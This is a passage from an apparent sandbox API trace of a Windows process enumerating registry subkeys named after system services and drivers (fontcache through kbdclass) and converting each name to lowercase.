WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fontcache3.0.0.0", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0180.529] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fontcache3.0.0.0", cchWideChar=16, lpMultiByteStr=0x21f1a90, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fontcache3.0.0.0", lpUsedDefaultChar=0x0) returned 16 [0180.529] RegEnumKeyW (in: hKey=0x140, dwIndex=0x74, lpName=0x2152850, cchName=0x104 | out: lpName="FsDepends") returned 0x0 [0180.529] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fsdepends", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0180.529] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fsdepends", cchWideChar=9, lpMultiByteStr=0x21f1a00, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fsdepends", lpUsedDefaultChar=0x0) returned 9 [0180.529] RegEnumKeyW (in: hKey=0x140, dwIndex=0x75, lpName=0x2152850, cchName=0x104 | out: lpName="Fs_Rec") returned 0x0 [0180.529] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fs_rec", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0180.529] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fs_rec", cchWideChar=6, lpMultiByteStr=0x21f1a90, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fs_rec", lpUsedDefaultChar=0x0) returned 6 [0180.529] RegEnumKeyW (in: hKey=0x140, dwIndex=0x76, lpName=0x2152850, cchName=0x104 | out: lpName="fvevol") returned 0x0 [0180.529] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fvevol", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0180.529] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fvevol", cchWideChar=6, lpMultiByteStr=0x21f1a00, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fvevol", lpUsedDefaultChar=0x0) returned 6 [0180.529] RegEnumKeyW (in: hKey=0x140, dwIndex=0x77, lpName=0x2152850, cchName=0x104 | out: lpName="gagp30kx") returned 0x0 [0180.529] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gagp30kx", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0180.529] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gagp30kx", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gagp30kx", lpUsedDefaultChar=0x0) returned 8 [0180.529] RegEnumKeyW (in: hKey=0x140, dwIndex=0x78, lpName=0x2152850, cchName=0x104 | out: lpName="gpsvc") returned 0x0 [0180.529] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gpsvc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0180.529] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gpsvc", cchWideChar=5, lpMultiByteStr=0x21f1a00, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gpsvc", lpUsedDefaultChar=0x0) returned 5 [0180.529] RegEnumKeyW (in: hKey=0x140, dwIndex=0x79, lpName=0x2152850, cchName=0x104 | out: lpName="gupdate") returned 0x0 [0180.529] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gupdate", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0180.529] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gupdate", cchWideChar=7, lpMultiByteStr=0x21f1a90, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gupdate", lpUsedDefaultChar=0x0) returned 7 [0180.530] RegEnumKeyW (in: hKey=0x140, dwIndex=0x7a, lpName=0x2152850, cchName=0x104 | out: lpName="gupdatem") returned 0x0 [0180.530] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gupdatem", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0180.530] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gupdatem", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gupdatem", lpUsedDefaultChar=0x0) returned 8 [0180.530] RegEnumKeyW (in: hKey=0x140, dwIndex=0x7b, lpName=0x2152850, cchName=0x104 | out: lpName="hcw85cir") returned 0x0 [0180.530] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hcw85cir", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0180.530] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hcw85cir", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hcw85cir", lpUsedDefaultChar=0x0) returned 8 [0180.530] RegEnumKeyW (in: hKey=0x140, dwIndex=0x7c, lpName=0x2152850, cchName=0x104 | out: lpName="HdAudAddService") returned 0x0 [0180.530] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hdaudaddservice", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0180.530] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hdaudaddservice", cchWideChar=15, lpMultiByteStr=0x21f1a00, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hdaudaddservice", lpUsedDefaultChar=0x0) returned 15 [0180.530] RegEnumKeyW (in: hKey=0x140, dwIndex=0x7d, lpName=0x2152850, cchName=0x104 | out: lpName="HDAudBus") returned 0x0 [0180.530] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hdaudbus", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0180.530] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hdaudbus", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hdaudbus", lpUsedDefaultChar=0x0) returned 8 [0180.530] RegEnumKeyW (in: hKey=0x140, dwIndex=0x7e, lpName=0x2152850, cchName=0x104 | out: lpName="HidBatt") returned 0x0 [0180.530] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidbatt", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0180.530] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidbatt", cchWideChar=7, lpMultiByteStr=0x21f1a00, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hidbatt", lpUsedDefaultChar=0x0) returned 7 [0180.530] RegEnumKeyW (in: hKey=0x140, dwIndex=0x7f, lpName=0x2152850, cchName=0x104 | out: lpName="HidBth") returned 0x0 [0180.530] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidbth", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0180.530] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidbth", cchWideChar=6, lpMultiByteStr=0x21f1a90, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hidbth", lpUsedDefaultChar=0x0) returned 6 [0180.530] RegEnumKeyW (in: hKey=0x140, dwIndex=0x80, lpName=0x2152850, cchName=0x104 | out: lpName="HidIr") returned 0x0 [0180.531] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidir", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0180.531] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidir", cchWideChar=5, lpMultiByteStr=0x21f1a00, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hidir", lpUsedDefaultChar=0x0) returned 5 [0180.531] RegEnumKeyW (in: hKey=0x140, dwIndex=0x81, lpName=0x2152850, cchName=0x104 | out: lpName="hidserv") returned 0x0 [0180.531] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidserv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0180.531] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidserv", cchWideChar=7, lpMultiByteStr=0x21f1a90, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hidserv", lpUsedDefaultChar=0x0) returned 7 [0180.531] RegEnumKeyW (in: hKey=0x140, dwIndex=0x82, lpName=0x2152850, cchName=0x104 | out: lpName="HidUsb") returned 0x0 [0180.531] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidusb", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0180.531] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidusb", cchWideChar=6, lpMultiByteStr=0x21f1a00, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hidusb", lpUsedDefaultChar=0x0) returned 6 [0180.531] RegEnumKeyW (in: hKey=0x140, dwIndex=0x83, lpName=0x2152850, cchName=0x104 | out: lpName="hkmsvc") returned 0x0 [0180.531] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hkmsvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0180.531] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hkmsvc", cchWideChar=6, lpMultiByteStr=0x21f1a90, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hkmsvc", lpUsedDefaultChar=0x0) returned 6 [0180.531] RegEnumKeyW (in: hKey=0x140, dwIndex=0x84, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupListener") returned 0x0 [0180.531] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="homegrouplistener", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0180.531] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="homegrouplistener", cchWideChar=17, lpMultiByteStr=0x21f1a00, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="homegrouplistener", lpUsedDefaultChar=0x0) returned 17 [0180.531] RegEnumKeyW (in: hKey=0x140, dwIndex=0x85, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupProvider") returned 0x0 [0180.531] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="homegroupprovider", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0180.531] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="homegroupprovider", cchWideChar=17, lpMultiByteStr=0x21f1a90, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="homegroupprovider", lpUsedDefaultChar=0x0) returned 17 [0180.531] RegEnumKeyW (in: hKey=0x140, dwIndex=0x86, lpName=0x2152850, cchName=0x104 | out: lpName="HpSAMD") returned 0x0 [0180.531] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hpsamd", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0180.532] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hpsamd", cchWideChar=6, lpMultiByteStr=0x21f1a00, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hpsamd", lpUsedDefaultChar=0x0) returned 6 [0180.532] RegEnumKeyW (in: hKey=0x140, dwIndex=0x87, lpName=0x2152850, cchName=0x104 | out: lpName="HTTP") returned 0x0 [0180.532] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0180.532] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http", cchWideChar=4, lpMultiByteStr=0x21f1a90, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http", lpUsedDefaultChar=0x0) returned 4 [0180.532] RegEnumKeyW (in: hKey=0x140, dwIndex=0x88, lpName=0x2152850, cchName=0x104 | out: lpName="hwpolicy") returned 0x0 [0180.532] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hwpolicy", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0180.532] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hwpolicy", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hwpolicy", lpUsedDefaultChar=0x0) returned 8 [0180.532] RegEnumKeyW (in: hKey=0x140, dwIndex=0x89, lpName=0x2152850, cchName=0x104 | out: lpName="i8042prt") returned 0x0 [0180.532] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="i8042prt", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0180.532] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="i8042prt", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="i8042prt", lpUsedDefaultChar=0x0) returned 8 [0180.532] RegEnumKeyW (in: hKey=0x140, dwIndex=0x8a, lpName=0x2152850, cchName=0x104 | out: lpName="iaStorV") returned 0x0 [0180.532] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="iastorv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0180.532] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="iastorv", cchWideChar=7, lpMultiByteStr=0x21f1a00, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iastorv", lpUsedDefaultChar=0x0) returned 7 [0180.532] RegEnumKeyW (in: hKey=0x140, dwIndex=0x8b, lpName=0x2152850, cchName=0x104 | out: lpName="idsvc") returned 0x0 [0180.532] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="idsvc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0180.532] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="idsvc", cchWideChar=5, lpMultiByteStr=0x21f1a90, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="idsvc", lpUsedDefaultChar=0x0) returned 5 [0180.532] RegEnumKeyW (in: hKey=0x140, dwIndex=0x8c, lpName=0x2152850, cchName=0x104 | out: lpName="iirsp") returned 0x0 [0180.532] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="iirsp", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0180.532] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="iirsp", cchWideChar=5, lpMultiByteStr=0x21f1a00, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iirsp", lpUsedDefaultChar=0x0) returned 5 [0180.533] RegEnumKeyW (in: hKey=0x140, dwIndex=0x8d, lpName=0x2152850, cchName=0x104 | out: lpName="IKEEXT") returned 0x0 [0180.533] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ikeext", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0180.533] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ikeext", cchWideChar=6, lpMultiByteStr=0x21f1a90, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ikeext", lpUsedDefaultChar=0x0) returned 6 [0180.533] RegEnumKeyW (in: hKey=0x140, dwIndex=0x8e, lpName=0x2152850, cchName=0x104 | out: lpName="inetaccs") returned 0x0 [0180.533] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="inetaccs", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0180.533] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="inetaccs", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="inetaccs", lpUsedDefaultChar=0x0) returned 8 [0180.533] RegEnumKeyW (in: hKey=0x140, dwIndex=0x8f, lpName=0x2152850, cchName=0x104 | out: lpName="intelide") returned 0x0 [0180.533] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="intelide", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0180.533] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="intelide", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="intelide", lpUsedDefaultChar=0x0) returned 8 [0180.533] RegEnumKeyW (in: hKey=0x140, dwIndex=0x90, lpName=0x2152850, cchName=0x104 | out: lpName="intelppm") returned 0x0 [0180.533] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="intelppm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0180.533] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="intelppm", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="intelppm", lpUsedDefaultChar=0x0) returned 8 [0180.533] RegEnumKeyW (in: hKey=0x140, dwIndex=0x91, lpName=0x2152850, cchName=0x104 | out: lpName="IPBusEnum") returned 0x0 [0180.533] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ipbusenum", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0180.533] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ipbusenum", cchWideChar=9, lpMultiByteStr=0x21f1a90, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ipbusenum", lpUsedDefaultChar=0x0) returned 9 [0180.533] RegEnumKeyW (in: hKey=0x140, dwIndex=0x92, lpName=0x2152850, cchName=0x104 | out: lpName="IpFilterDriver") returned 0x0 [0180.533] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ipfilterdriver", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0180.533] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ipfilterdriver", cchWideChar=14, lpMultiByteStr=0x21f1a00, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ipfilterdriver", lpUsedDefaultChar=0x0) returned 14 [0180.533] RegEnumKeyW (in: hKey=0x140, dwIndex=0x93, lpName=0x2152850, cchName=0x104 | out: lpName="iphlpsvc") returned 0x0 [0180.534] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="iphlpsvc", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0180.534] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="iphlpsvc", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iphlpsvc", lpUsedDefaultChar=0x0) returned 8 [0180.534] RegEnumKeyW (in: hKey=0x140, dwIndex=0x94, lpName=0x2152850, cchName=0x104 | out: lpName="IPMIDRV") returned 0x0 [0180.534] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ipmidrv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0180.534] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ipmidrv", cchWideChar=7, lpMultiByteStr=0x21f1a00, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ipmidrv", lpUsedDefaultChar=0x0) returned 7 [0180.534] RegEnumKeyW (in: hKey=0x140, dwIndex=0x95, lpName=0x2152850, cchName=0x104 | out: lpName="IPNAT") returned 0x0 [0180.534] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ipnat", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0180.534] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ipnat", cchWideChar=5, lpMultiByteStr=0x21f1a90, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ipnat", lpUsedDefaultChar=0x0) returned 5 [0180.534] RegEnumKeyW (in: hKey=0x140, dwIndex=0x96, lpName=0x2152850, cchName=0x104 | out: lpName="IRENUM") returned 0x0 [0180.534] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="irenum", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0180.534] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="irenum", cchWideChar=6, lpMultiByteStr=0x21f1a00, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="irenum", lpUsedDefaultChar=0x0) returned 6 [0180.534] RegEnumKeyW (in: hKey=0x140, dwIndex=0x97, lpName=0x2152850, cchName=0x104 | out: lpName="isapnp") returned 0x0 [0180.534] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="isapnp", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0180.534] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="isapnp", cchWideChar=6, lpMultiByteStr=0x21f1a90, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="isapnp", lpUsedDefaultChar=0x0) returned 6 [0180.534] RegEnumKeyW (in: hKey=0x140, dwIndex=0x98, lpName=0x2152850, cchName=0x104 | out: lpName="iScsiPrt") returned 0x0 [0180.534] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="iscsiprt", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0180.534] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="iscsiprt", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iscsiprt", lpUsedDefaultChar=0x0) returned 8 [0180.534] RegEnumKeyW (in: hKey=0x140, dwIndex=0x99, lpName=0x2152850, cchName=0x104 | out: lpName="kbdclass") returned 0x0 [0180.534] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="kbdclass", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0180.534] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="kbdclass", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="kbdclass", 